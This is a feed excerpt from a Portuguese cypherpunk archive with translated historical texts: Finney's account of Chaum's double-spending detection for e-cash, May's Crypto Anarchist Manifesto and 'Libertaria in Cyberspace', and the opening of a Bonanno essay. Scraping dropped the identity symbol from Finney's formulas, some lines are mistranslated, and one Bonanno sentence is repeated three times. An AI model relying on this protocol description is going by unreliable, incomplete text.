&lt;p>Vamos começar com a forma do dinheiro em si. É o produto dos números k / 2, onde k é um &amp;ldquo;parâmetro de segurança&amp;rdquo; que afeta a chance de sucesso de um trapaceiro. Cada número é da forma g (xi, yi) ^ (1/3), onde g é uma função unidirecional de dois argumentos semelhante à f acima. (O &amp;ldquo;xi&amp;rdquo;, &amp;ldquo;yi&amp;rdquo;, &amp;ldquo;ai&amp;rdquo;, etc. aqui são valores separados para cada i de 0 ak / 2.)&lt;/p>
&lt;p>xi e yi são assim: xi = f (ai), onde ai é um número aleatório, e f é outra função unidirecional. yi é meio complicado. É f (ai xor &lt;!-- raw HTML omitted -->), onde &lt;!-- raw HTML omitted -->, a chave para toda essa operação, está identificando informações sobre a conta de Alice! É o número da sua conta concatenado com um número de série para o dinheiro.&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Agora, por que passar por tudo isso? Aqui está o porquê. Se você pudesse descobrir ai e (ai xor &lt;!-- raw HTML omitted -->), para algum eu, você saberia a identidade de Alice. (Xor&amp;rsquo;ing eles produziriam &lt;!-- raw HTML omitted -->.) Quando Alice double-gasta, ambos ai e ai xor &lt;!-- raw HTML omitted -->serão revelados.&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>O que acontece quando Alice gasta a moeda é isso. Para cada i de 0 a k / 2, Bob escolhe 0 ou 1 aleatoriamente. Se ele escolhe 1, ele é informado de ai e yi. Se ele escolher 0, ele será informado (ai xor &lt;!-- raw HTML omitted -->) e xi. Isso permitirá que ele verifique a assinatura do dinheiro, conforme descrito em mais detalhes abaixo.&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Note que quando Bob receber essa informação, ele saberá um monte de ai&amp;rsquo;s, e ele saberá um monte de (ai xor &lt;!-- raw HTML omitted -->), mas eles são para i&amp;rsquo;s diferentes. Ele não sabe ai e (ai xor &lt;!-- raw HTML omitted -->) para qualquer um i. Então ele não pode quebrar o anonimato de Alice.&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Quando Bob deposita o dinheiro no banco, ele repassa as informações que recebeu de Alice sobre o ai e tal.&lt;/p>
&lt;p>Agora, suponha que Alice trapaceie. Ela gasta o dinheiro de novo em algum outro lugar, no Charlie&amp;rsquo;s. Charlie passa pelo mesmo procedimento que Bob, escolhendo 0 ou 1 aleatoriamente para cada valor de i. Aqui está o truque. Como ele está escolhendo aleatoriamente, seria muito improvável que ele escolhesse exatamente os mesmos 0s e 1s que Bob escolheu. (Aqui é onde o tamanho de k importa - tornando-se maior, torna menos provável que Charlie e Bob escolham o mesmo padrão de 0 e 1. Mas faz com que os cálculos demorem mais tempo.) Isso significa que para um ou mais valores de i, Charlie provavelmente escolherá um 0 onde Bob escolheu um 1, ou vice-versa.&lt;/p>
&lt;p>Por causa disso, se o Bob tiver um ai para esse i, o Charlie irá obter ai xor &lt;!-- raw HTML omitted -->. Ou se Bob tiver ai xor &lt;!-- raw HTML omitted -->, Charlie vai ter ai. De qualquer forma, quando Charlie envia seu registro dessas informações para o banco, o banco coloca as informações de Bob e Charlie juntas e obtém os dois ai e ai xor &lt;!-- raw HTML omitted -->. Xor&amp;rsquo;ing estes juntos revela &lt;!-- raw HTML omitted -->, e Alice é pego! Essa é a ideia principal.&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>(Chaum sugere não apenas depender da chance aleatória para garantir que Bob e Charlie usem conjuntos diferentes de 1 e 0. Pelo menos alguns dos bits podem ser atribuídos a Bob e Charlie pelo banco de tal forma que todos obtenham um número diferente. Desta forma, seria garantido que Bob e Charlie escolheriam valores opostos para alguns i.)&lt;/p>
&lt;p>A razão para o dinheiro ter a forma que ele faz é para que Bob possa verificar se ele está assinado pelo banco. Para cada valor de i, Alice precisa fornecer informações suficientes para calcular xi e yi. Se Bob escolher um 1, ela dá a ele ai e yi. Dado ai Bob pode calcular xi (= f (ai)), e com isso e yi ele pode calcular g (xi, yi). Se Bob escolher um 0, ela lhe dará (ai xor &lt;!-- raw HTML omitted -->), como descrito anteriormente, e também xi. Dado (ai xor &lt;!-- raw HTML omitted -->), Bob calcula yi (= f (ai xor &lt;!-- raw HTML omitted -->)), e com isso e xi ele pode calcular g (xi, yi).&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Então, para cada i, se Bob dá um 0 ou um 1, ele recebe informações suficientes para calcular g (xi, yi). Ele multiplica estes todos juntos e confirma que eles são iguais ao valor &amp;ldquo;dinheiro&amp;rdquo; original de Alice quando é levado ao 3º poder (lembre-se que o dinheiro foi produto de g (xi, yi) ^ (1/3) para todo i). Somente o banco poderia ter produzido uma assinatura nesta função unidirecional cujos argumentos assumem essa forma especial.&lt;/p>
&lt;p>Mais uma complicação existe. (Bem, na verdade, um número quase infinito de complicações existe se você procurar bastante. Mas vamos nos focar em mais uma.) Alice precisa obter essa forma especial de dinheiro do banco de tal forma que o banco ganhou &amp;rsquo; t reconhecê-lo. Isso significa que ela tem que cegar. Mas neste caso, o banco quer ter certeza de que o dinheiro é da forma adequada quando o assina; em particular, ele quer ter a certeza de que a &lt;!-- raw HTML omitted -->de Alice, que está enterrada em todos esses f&amp;rsquo;s de g, é na verdade a mais adequada para ela. Mas como o banco não consegue ver o que está assinando, isso é difícil de fazer.&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Chaum usa corte-e-escolha para isso. Ele faz com que Alice prepare todos esses f e gs de acordo com o formulário acima, inserindo cuidadosamente sua própria &lt;!-- raw HTML omitted -->incriminadora em cada uma delas. Então ela multiplica cada g (xi, yi) por um fator de cegueira ri ^ 3 como no primeiro dinheiro. Estes são o que ela envia ao banco para ser assinado.&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>O truque, porém, é que ela envia o dobro do que será usado. Ela envia k deles, mas apenas k / 2 será usado. (É por isso que o loop acima usou k / 2 como limite). O banco escolhe k / 2 aleatoriamente do k que ela enviou como os que realmente serão usados. Alice então tem que enviar os valores de ri cegantes para aqueles que o banco não escolheu.&lt;/p>
&lt;p>A ideia é que, se Alice tentar enganar, incorporando &amp;ldquo;Bozo&amp;rdquo; em vez de &amp;ldquo;Alice&amp;rdquo; no campo &lt;!-- raw HTML omitted -->, ela está dando uma chance. Primeiro, para ser útil, ela terá que incorporá-lo em muitos campos &lt;!-- raw HTML omitted -->para valores diferentes de i. Quando Bob e Charlie comparam notas depois que ela gasta duas vezes, cada valor de i para o qual eles escolheram diferentes 0s e 1s, que estarão na metade média deles, revelará um campo &lt;!-- raw HTML omitted -->. Se ela só finge algumas, é provável que sua verdadeira identidade ainda seja revelada.&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Mas se ela falsificar muitos deles, então quando o banco escolher metade, as chances são de que pelo menos alguns dos falsos estarão no set que o banco não escolheu. Então, quando Alice tiver que revelar seus rms ofuscantes, o gabarito estará pronto. O banco irá cegar todos aqueles g (xi, yi) que não estão sendo usados ​​e ver os falsos campos &lt;!-- raw HTML omitted -->.&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Essa metodologia de corte-e-escolha tem a desvantagem de que Alice precisa fazer o dobro de trabalho na preparação do dinheiro, metade da qual será jogada fora. Mas é uma maneira simples e &amp;ldquo;bruta&amp;rdquo; de certificar-se de que assinaturas ofuscantes estão sendo feitas em dados corretamente formados.&lt;/p>
&lt;p>Então, você tem isso. Anonimato, desde que você não trapaceie, e os que gastam com o dobro sejam pegos. É um pouco complicado, mas é para isso que os computadores são; Bob e Alice não fariam tudo isso a mão. Alice pressionaria o botão &amp;ldquo;gerar um candidato a dinheiro&amp;rdquo; e obteria algo para ser enviado ao banco (muitos dos novos PDAs têm comunicações sem fio infravermelhas que seriam perfeitas para transações face a face). Bob apertava o botão &amp;ldquo;cheque de dinheiro&amp;rdquo; quando Alice o gastava e ele piscava vermelho ou verde. Contanto que os cálculos não demorem muito tempo, o que eles realmente não fariam neste caso, apesar desta longa explicação, as pessoas envolvidas podem ignorar os detalhes.&lt;/p>
&lt;p>Hal Finney&lt;br>
&lt;em>hal@rain.org&lt;/em>&lt;/p>
&lt;p>&lt;a href="http://finney.org/~hal/" target="_blank" rel="noopener noreferrer">Página de Hal Finney&lt;/a>
&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/detecting-double-spending/" target="_blank" rel="noopener noreferrer">Detecting Double Spending - Hal Finney&lt;/a>
&lt;/p></content:encoded></item><item><title>O Manifesto Criptoanarquista</title><link>https://cypherpunks.com.br/documentos/o-manifesto-criptoanarquista/</link><pubDate>Sun, 22 Nov 1992 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/o-manifesto-criptoanarquista/</guid><description>Um espectro está assombrando o mundo moderno...</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;/p>
&lt;p>Cypherpunks do mundo,&lt;/p>
&lt;p>Vários de vocês, na &amp;ldquo;reunião presencial de Cypherpunks&amp;rdquo;, realizada ontem no Vale do Silício, pediram que o material distribuído nas reuniões estivesse disponível também eletronicamente para todo público da lista de Cypherpunks.&lt;/p>
&lt;p>Aqui está &amp;ldquo;O Manifesto Criptoanarquista&amp;rdquo;, que eu li na reunião de fundação, em setembro de 1992. Ele remonta a meados de 1988 e foi distribuído a alguns &amp;ldquo;tecnoanarquistas&amp;rdquo; de mentalidade semelhante, na conferência &amp;ldquo;Crypto 88&amp;rdquo; e novamente na conferência &amp;ldquo;Hackers&amp;rdquo;, este ano. Eu conversei mais tarde sobre isto com alguns hackers em 1989 e 1990.&lt;/p>
&lt;p>Há algumas coisas que eu mudaria, mas por razões históricas deixarei como está. Alguns dos termos podem não ser familiares a vocês. Espero que o Cripto Glossário que acabei de distribuir lhe ajude.&lt;/p>
&lt;p>(Isto explica todos estes termos crípticos na minha assinatura!) &amp;ndash;Tim May&lt;/p>
&lt;hr>
&lt;p>&lt;strong>O MANIFESTO CRIPTOANARQUISTA&lt;/strong>&lt;/p>
&lt;p>Timothy C. May – 1992.&lt;/p>
&lt;p>Um espectro está assombrando o mundo moderno.&lt;/p>
&lt;p>A ciência da computação está a ponto de fornecer a grupos e indivíduos a capacidade de se comunicar e interagir uns com os outros de maneira totalmente anônima. Duas pessoas podem trocar mensagens, conduzir negócios e realizar contratos digitais sem nunca conhecer o verdadeiro nome ou a identidade legal da outra parte. Interações em rede serão irrastreáveis através do extensivo reencaminhamento de pacotes criptografados e caixas invioláveis, que implementam protocolos criptográficos com garantia quase perfeita contra qualquer adulteração. A reputações será de importância central, se tornando muito mais importante nas negociações do que as análises de crédito de hoje. Esses desenvolvimentos irão alterar completamente a natureza da regulamentação governamental, a capacidade de taxar e controlar as interações econômicas, a capacidade de manter as informações em segredo e até mesmo alterar a natureza da confiança e da reputação.&lt;/p>
&lt;p>A tecnologia para essa revolução - que certamente será tanto uma revolução social quanto econômica – já existia, em teoria, durante a última década. Os métodos são baseados em criptografia de chave pública, sistemas de zero-knowledge interativos e vários protocolos de software para interação, autenticação e verificação. O foco, até agora, tem sido em conferências acadêmicas na Europa e nos EUA, conferências estas que são monitoradas de perto pela Agência de Segurança Nacional (NSA). Mas só recentemente as redes de computadores e computadores pessoais atingiram velocidade suficiente para tornar as ideias realizáveis na prática. E os próximos dez anos trarão a velocidade necessária para tornar as ideias economicamente viáveis ​​e essencialmente imbatíveis. Redes de alta velocidade, caixas invioláveis, cartões inteligentes, satélites, transmissores, computadores pessoais e chips criptográficos, que estão agora em desenvolvimento, serão algumas das tecnologias facilitadoras.&lt;/p>
&lt;p>O estado tentará, é claro, desacelerar ou deter a disseminação destas tecnologias, citando preocupações com a segurança nacional, o uso da tecnologia por traficantes de drogas e sonegadores de impostos, e temores de desintegração social. Muitas dessas preocupações serão válidas; a criptoanarquia permitirá que segredos nacionais sejam vendidos livremente e permitirá que materiais ilícitos e roubados sejam comercializados. Um mercado informatizado e anônimo se tornará um possível abominavel mercado ​​para assassinatos e extorsões. Vários elementos criminosos e estrangeiros serão usuários ativos da CriptoNet. Mas isso não vai parar a propagação da criptoanarquia.&lt;/p>
&lt;p>Assim como a tecnologia da impressão alterou e reduziu o poder das guildas medievais e a estrutura do poder social, os protocolos criptográficos também vão alterar fundamentalmente a natureza das corporações e as interferências do governo nas transações econômicas. Combinado com mercados de informação emergentes, a criptoanarquia criará um mercado líquido para todo e qualquer material que possa ser colocado em palavras e imagens. E assim, como uma invenção aparentemente insignificante, como o arame farpado tornou possível o cercamento de vastas fazendas e territórios, alterando para sempre os conceitos de terra e direitos de propriedade na fronteira ocidental, também, a descoberta aparentemente menor de um ramo arcano da matemática se tornará o cortador de arame que desmontará o arame farpado em torno da propriedade intelectual.&lt;/p>
&lt;p>Ergam-se, vocês não têm nada a perder a não ser as cercas de arame farpado! &amp;ndash;&lt;/p>
&lt;pre tabindex="0">&lt;code>......................................................................
Timothy C. May | Criptoanarquia: cifra, moedas digitais, money,
tcmay@netcom.com | redes anônimas, pseudônimos digitais, zero
408-688-5409 | knowledge, reputações, mercados de informação,
W.A.S.T.E.: Aptos, CA | mercados negros, colapso de governos.
Higher Power: 2^756839 | PGP Public Key: por acordo.
&lt;/code>&lt;/pre>&lt;p>&lt;strong>Versão em vídeo:&lt;/strong>&lt;/p>
&lt;iframe id="lbry-iframe" width="560" height="315" src="https://odysee.com/$/embed/o-manifesto-criptoanarquista-timothy-c/e4827e7fc0defc9617298eb65a2c5bbee6b243fb?r=6AWFiSHRX7ZYz8zPkJzrGE6Rb8JShq57" allowfullscreen>&lt;/iframe>
&lt;p>Fonte:&lt;br>
&lt;a href="https://nakamotoinstitute.org/crypto-anarchist-manifesto/" target="_blank" rel="noopener noreferrer">Nakamoto Institute&lt;/a>
&lt;br>
&lt;a href="https://www.activism.net/cypherpunk/crypto-anarchy.html" target="_blank" rel="noopener noreferrer">Activism.net&lt;/a>
&lt;br>
&lt;a href="https://mailing-list-archive.cryptoanarchy.wiki/archive/1992/11/eda5e66d8aed5985d60a1fa5432c9751789b5e50dc11cf515c7dd67a511a3d78/" target="_blank" rel="noopener noreferrer">Cryptoanarchy.wiki&lt;/a>
&lt;/p></content:encoded></item><item><title>Libertária no Ciberespaço; ou porque o Ciberespaço é mais hospitaleiro às ideias de liberdade e criptoanarquia</title><link>https://cypherpunks.com.br/documentos/libertaria-no-ciberespaco/</link><pubDate>Sat, 01 Aug 1992 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/libertaria-no-ciberespaco/</guid><description>Aqui estão alguns pontos sobre por que o "ciberespaço" ou uma rede mediada por computadores, é mais hospitaleiro do que os locais físicos, para o tipo de sistema libertário de “criptoanarquia” que tenho descrito.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: OneTimePad
Revisado por: Jefferson, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;em>From: &lt;a href="mailto:tcmay@netcom.com">tcmay@netcom.com&lt;/a>
(Timothy C. May)&lt;/em> &lt;em>Subject: Libertaria in Cyberspace&lt;/em> &lt;em>Date: Tue, 1 Sep 92 11:42:12 PDT&lt;/em>&lt;/p>
&lt;h1 id="libertária-no-ciberespaço-ou-porque-o-ciberespaço-é-mais-hospitaleiro-às-ideias-de-liberdade-e-criptoanarquia">Libertária no Ciberespaço; ou porque o Ciberespaço é mais hospitaleiro às ideias de liberdade e criptoanarquia&lt;/h1>
&lt;h2 id="timothy-c-may">Timothy C. May&lt;/h2>
&lt;h4 id="1º-de-setembro-de-1992">1º de setembro de 1992&lt;/h4>
&lt;p>&lt;/p>
&lt;p>Aqui estão alguns pontos sobre por que o &amp;ldquo;ciberespaço&amp;rdquo; ou uma rede mediada por computadores, é mais hospitaleiro do que os locais físicos, para o tipo de sistema libertário de “criptoanarquia” que tenho descrito.&lt;/p>
&lt;p>Várias pessoas comentaram recentemente sobre os paraísos libertários oceânicos, os navios-petroleiros usados ​​como paraísos de dados, dentre outros mais. Especialmente nos anos 70, houveram várias tentativas frustradas de adquirir ilhas no Pacífico e construir o local que alguns chamavam de &amp;ldquo;Libertaria&amp;rdquo;. (Algumas palavras-chave: Vanuatu, Minerva, Mike Oliver, Tonga)&lt;/p>
&lt;p>Obter uma ilha inteira é algo problemático. Conseguir o consentimento dos moradores é uma questão (familiar, para aqueles que estão na lista dos que resistiram ao debate sobre o desvio do Furacão Andrew). Ser &lt;em>autorizado&lt;/em> a funcionar, pelas principais potências mundiais, é outra questão&amp;hellip;. os EUA impuseram embargos comerciais e bloqueios contra muitas nações nas últimas décadas, incluindo Cuba, Coréia do Norte, Líbia, Irã, Iraque e outros países. Além disso, os EUA invadiram alguns países - Panamá é um bom exemplo - por desaprovar seu governo. Quanto tempo duraria um superpetroleiro &amp;ldquo;paraíso de dados&amp;rdquo; ou um regime libertário em tal ambiente? (O fascinante “&lt;em>Snow Crash”&lt;/em> de Stephenson não abordou a questão de por que a &amp;ldquo;Jangada&amp;rdquo; não foi simplesmente afundada pelas forças militares remanescentes.)&lt;/p>
&lt;p>Devo observar que a recente fragmentação dos países pode oferecer oportunidades para regiões libertárias (ou &lt;em>Partido Pátria Livre -&lt;/em> PPL, se você preferir pensar assim). Alguns especularam que a própria Rússia é uma candidata, dado que ela tem pouco investimento no sistema anterior e pode estar disposta a abandonar o estatismo. Se várias dezenas de novos países são formados, algumas oportunidades existem.&lt;/p>
&lt;p>O problema básico é que o espaço físico é muito pequeno e muito exposto à visão dos outros. &amp;ldquo;Libertária&amp;rdquo; na forma de, digamos, uma ilha, está exposta demais à retaliação das potências mundiais. (Eu não vou entrar na estratégia de &amp;ldquo;armas nucleares privadas&amp;rdquo;, sobre a qual preciso pensar mais.)&lt;/p>
&lt;p>Uma nação privada flutuante (ou seja lá como for chamada) é muito vulnerável a um único torpedo bem colocado. Mesmo que sirva como uma espécie de banco suíço e, portanto, tenha a mesma proteção que a Suíça obteve (a saber, muitos líderes mantiveram seus roubos), ainda assim, ela seria vulnerável demais a um único atacante ou invasor. A pirataria será apenas um dos problemas.&lt;/p>
&lt;p>Finalmente, quantos de nós querem se mudar para uma ilha do Pacífico Sul? Ou uma plataforma de petróleo do Mar do Norte? Ou até mesmo para a Rússia?&lt;/p>
&lt;p>O ciberespaço parece mais promissor. Há mais &amp;ldquo;espaço&amp;rdquo; no ciberespaço, o que permite mais segurança e espaço mais colonizável. Além disso, esse espaço é coextensivo com nosso espaço físico, acessível com terminais adequados de qualquer lugar do mundo (embora possam haver tentativas no espaço físico de bloquear o acesso, restringir o acesso a métodos criptográficos necessários, etc.).&lt;/p>
&lt;p>Eu não vou entrar nos vários métodos criptográficos aqui (veja minha publicação anterior sobre o protocolo &lt;em>&amp;ldquo;Dining Cryptographers&amp;rdquo;&lt;/em> e várias outras postagens sobre sistemas de chaves públicas, mixagens digitais, dinheiro eletrônico, etc). Leitores interessados ​​têm muitas fontes. (Acabo de ler uma excelente pesquisa sobre essas novas técnicas, a tese de Ph.D. de 1992, de Jurgen Bos, &lt;em>&amp;ldquo;Practical Privacy&amp;rdquo;&lt;/em>, que lida com esses vários protocolos em um belo livrinho).&lt;/p>
&lt;p>Alice e Bob, nossos atores criptográficos favoritos, podem se comunicar e realizar negócios sem nunca se encontrar ou sem que um saiba quem é o outro. Isso pode ser estendido para criar comunidades virtuais sujeitas apenas a regras pelas quais elas mesmas chegam a um acordo, assim como esta lista de Extropianos. O direito privado é a única lei, pois não há apelo a alguma autoridade superior como o papa ou a polícia. (É por isso que eu disse em várias das minhas postagens sobre o debate sobre do Furacão Andrew, que sou simpático à visão PPL.)&lt;/p>
&lt;p>E esta é a vantagem mais convincente de &amp;ldquo;Cripto Libertária&amp;rdquo;: um número arbitrariamente grande de &amp;ldquo;nações&amp;rdquo; separadas pode existir simultaneamente. Isso permite uma rápida experimentação, auto-seleção e evolução. Se as pessoas se cansarem de alguma comunidade virtual, elas podem sair. Os aspectos criptográficos significam que sua participação em alguma comunidade é desconhecida para os outros (vis-à-vis o mundo físico ou externo, ou seja, seus &amp;ldquo;nomes verdadeiros&amp;rdquo;) e a coerção física é reduzida.&lt;/p>
&lt;p>Comunalistas são livres para criar um ambiente comunitário, Anacronistas Criativos são livres para criar sua própria ideia de espaço, e assim por diante. Eu não estou nem mesmo entrando no tipo de coisa com imagens de realidade virtual - imagens fotorrealistas -, já que mesmo sistemas atuais baseados em texto são comprovadamente suficientes para permitir o tipo de comunidades virtuais que estou descrevendo aqui (e descrito em &amp;ldquo;&lt;em>True Names&lt;/em>&amp;rdquo; de Ving, em “&lt;em>Neuromancer&lt;/em>” de Gibson, em “&lt;em>Islands in the Net&lt;/em>” de Sterling e em “&lt;em>Snow Crash&lt;/em>” de Stephenson &amp;hellip; embora todos eles tenham perdido alguns dos aspectos mais excitantes &amp;hellip; talvez meu romance acerte o alvo?).&lt;/p>
&lt;p>Mas o governo permitirá esse tipo de coisa? Eles não vão apenas torpedear isso, assim como eles torpedearam um paraíso de dados &lt;em>offshore.&lt;/em>&lt;/p>
&lt;p>A questão chave é que os sistemas distribuídos não têm nenhum nexo que possa ser eliminado. Nem o Usenet ou o FidoNet podem ser desabilitados por um único governo, já que eles estão no mundo todo. Desligá-los significaria proibir a comunicação entre computadores. E apesar da fala sobre “portas armadilhas” obrigatórias em sistemas de criptografia, a criptografia é fundamentalmente fácil de usar e difícil de detectar. (Para aqueles que duvidam disso, deixe-me descrever um sistema simples que publiquei no sci.crypt há vários anos. Uma fita de áudio digital comum (DAT) transporta mais de um gigabyte de dados. Isso significa que o bit menos significativo (LSB) de uma gravação de áudio DAT carrega cerca de 8 megabytes de dados! Então, Alice é parada pela Polícia de Dados. Eles perguntam se ela está carregando dados ilegais. Ela sorri inocentemente e diz &amp;ldquo;Não. Eu sei que você vai procurar.&amp;rdquo; Eles encontram seu Sony DAT e perguntam sobre sua coleção de fitas e gravações ao vivo. Alice está carregando 80 MB de dados - cerca de 3 dias inteiros de feeds Usenet! - em cada fita. As informações são armazenadas nos LSBs, de forma completamente indistinguível dos ruídos do microfone e da amostragem, a menos que você conheça a chave. Métodos similares permitem que dados sejam empacotados de forma indetectável nos LSBs das imagens PICT e GIF, que agora estão inundando a Net, em sons amostrados, e até em mensagens como essa &amp;hellip; o &amp;ldquo;espaço em branco&amp;rdquo; na margem direita desta mensagem carrega uma mensagem oculta legível apenas para alguns Extropianos escolhidos.)&lt;/p>
&lt;p>Já descrevi o uso das religiões e RPGs como uma espécie de cobertura legal para o desenvolvimento e implantação dessas técnicas. Se uma igreja decide oferecer &amp;ldquo;confessionários digitais&amp;rdquo; para seus membros distantes, qual será o argumento do governo dos EUA, para insistir em sua justificativa, de que a criptografia não deve ser usada? (Devo observar que psiquiatras e profissionais similares têm uma responsabilidade com seus clientes e com suas agências de licenciamento para garantir a privacidade dos registros dos pacientes. Meus amigos estão usando criptografia para proteger os registros dos pacientes. Esse é apenas um pequeno exemplo de como a criptografia está se entrelaçando no tecido de nossa sociedade eletrônica. Há muitos outros exemplos.)&lt;/p>
&lt;p>Em discussões futuras, espero que possamos encontrar algumas das muitas abordagens para implantar esses métodos. Passei vários anos pensando sobre isso, mas certamente perdi algumas boas ideias. O &amp;ldquo;jogo da criptoanarquia&amp;rdquo; que está sendo planejado, é uma tentativa de fazer com que alguns dos melhores hackers da &lt;em>Bay Area&lt;/em> (São Francisco) fiquem pensando nessas questões e em novas rugas. Vários já se ofereceram para ajudar ainda mais.&lt;/p>
&lt;p>Alguns comentaram que esta lista não é um local apropriado para discutir essas ideias. Eu acho que é. Não estamos discutindo nada que seja realmente ilegal, mesmo sob os amplos poderes da RICO (&lt;em>Racketeer-Influenced and Corrupt Organizations Act&lt;/em> usada para ir atrás de &amp;ldquo;conspirações&amp;rdquo; de traficantes de pornografia e de armas, entre outros). O que estamos discutindo são as implicações de longo alcance dessas ideias.&lt;/p>
&lt;p>Em conclusão, será mais fácil formar certos tipos de sociedades libertárias no ciberespaço do que no mundo real das nações e locais físicos. O mundo eletrônico não é de forma alguma completo, pois ainda viveremos muito de nossas vidas no mundo físico. Mas a atividade econômica está aumentando acentuadamente no domínio da Internet e essas ideias de &amp;ldquo;criptoanarquia&amp;rdquo; irão corroer ainda mais o poder dos estados físicos que taxam e coagir seus residentes.&lt;/p>
&lt;p>&amp;ndash; Tim May&lt;/p>
&lt;hr>
&lt;p>Fonte:
&lt;a href="https://nakamotoinstitute.org/libertaria-in-cyberspace/" target="_blank" rel="noopener noreferrer">Libertaria in Cyberspace - Timothy C. May&lt;/a>
&lt;/p></content:encoded></item><item><title>Cyberpunk e tecnologia</title><link>https://cypherpunks.com.br/documentos/cyberpunk-e-tecnologia/</link><pubDate>Wed, 01 Jan 1992 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/cyberpunk-e-tecnologia/</guid><description>A principal característica do cyberpunk é que ele foge à definição. Isso não se deve apenas à ampla gama de escolhas nas ideias de seus apoiadores, mas também a um efeito direto das possibilidades oferecidas pelos novos métodos de tecnologia da informação. Nada neste campo pode ser separado nitidamente do resto. Em muitos textos …</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;h1 id="cyberpunk-e-tecnologia">Cyberpunk e tecnologia&lt;/h1>
&lt;h2 id="alfredo-m-bonanno">Alfredo M. Bonanno&lt;/h2>
&lt;p>A principal característica do cyberpunk é que ele foge à definição. Isso não se deve apenas à ampla gama de escolhas nas ideias de seus apoiadores, mas também a um efeito direto das possibilidades oferecidas pelos novos métodos de tecnologia da informação. Nada neste campo pode ser separado nitidamente do resto. Em muitos textos narrativos, o estilo da história reflete os meios que a tornam um objeto transmissível, e essa mesma história tem conseqüências na elaboração da tecnologia futura.&lt;/p>
&lt;p>O mecanismo, sem dúvida, permite uma autonomia da consciência individual e sofisticação na capacidade de tomada de decisão, se nada mais no que diz respeito ao tempo. É impossível prever a quantidade de capacidade intelectual, o elemento racional que suporta todo o peso da rígida rotulagem de procedimentos. Aqui, todas as observações obrigatórias parecem quase uma tentativa de exorcizar uma incerteza que não podemos deixar de perceber.&lt;/p>
&lt;p>O indivíduo que aceita essa relação com a informática logo se encaminha para uma recusa genérica da autoridade centralizada, um caminho na floresta que poderia levá-lo a conclusões que seriam muito importantes do ponto de vista libertador se não o enfrentassem imediatamente. o obstáculo do próprio instrumento. A interação ator-instrumento não tem outra saída que não seja constituir uma atmosfera de tolerância, quando não propriamente indiferença, em relação a todos os aspectos que em qualquer caso são ameaçados por uma disseminação desenfreada dos meios de tecnologia da informação em torno do campo operativo um tanto obscuro.&lt;/p>
&lt;p>É preciso dizer que todas as manifestações do cyberpunk acabam, quase involuntariamente, por produzir uma visão hedonista da vida. O ceticismo é aceito como um valor, uma forma inteligente de pensar que cada nível de especialista é impulsionado, e o próprio computador acaba se tornando uma especialização com linguagem e mentalidade próprias. Uma simbiose entre aqueles que iniciam um diálogo com a máquina e a própria máquina é, portanto, inevitável. Mas isso é oculto, a ponto de ser sistematicamente negado, a negação tornando-se mais um elemento de ocultação. E a mentalidade de especialista está sempre um passo à frente. Quanto mais avança no campo da objetividade administrável, mais se embala na sensação de segurança que advém da sensação de estar à vontade no âmbito de procedimentos que se conhecem, interagem,delimitar cada vez mais os confins de um mundo privado de procedimento que apenas espera ser regulado, então levado de volta à esfera do mensurável. O especialista se distingue precisamente por sua certeza de valores que tendem a fluir para fora na direção de um conhecimento do qual ele, como especialista, nada sabe, ou quase nada. Mas essa ignorância não lhe parece mais um elemento negativo a ser remediado, mas simplesmente um lugar remoto e desolado a ser colonizado, um caos selvagem que precisa ser ordenado e compreendido.Mas essa ignorância não lhe parece mais um elemento negativo a ser remediado, mas simplesmente um lugar remoto e desolado a ser colonizado, um caos selvagem que precisa ser ordenado e compreendido.Mas essa ignorância não lhe parece mais um elemento negativo a ser remediado, mas simplesmente um lugar remoto e desolado a ser colonizado, um caos selvagem que precisa ser ordenado e compreendido.&lt;/p>
&lt;p>Tudo isso não deve ter uma visão rígida da realidade. Não medir e tecnocratas. Isso teria sido inevitável em outros tempos, longe da era do computador de hoje. A elaboração de novos procedimentos mostra um nível considerável de criatividade, permitindo reflexões irônicas sobre os aspectos organizacionais da sociedade. O paradoxal e o contraditório, portanto, têm acesso às técnicas de raciocínio. Isso permite uma explosão de práticas na direção visionária e talvez surreal, se apenas se pudesse concordar com o termo. Mas isso pouco importa. O que importa é o mecanismo paralelo de aceitação de todas as técnicas que tornam possível a ruptura visionária da realidade. De certa forma, a jornada é realizada às custas do mecanismo do sonho, um nível neurológico que não podemos controlar, resguardando-o de implicações ordenadas inconscientes.&lt;/p>
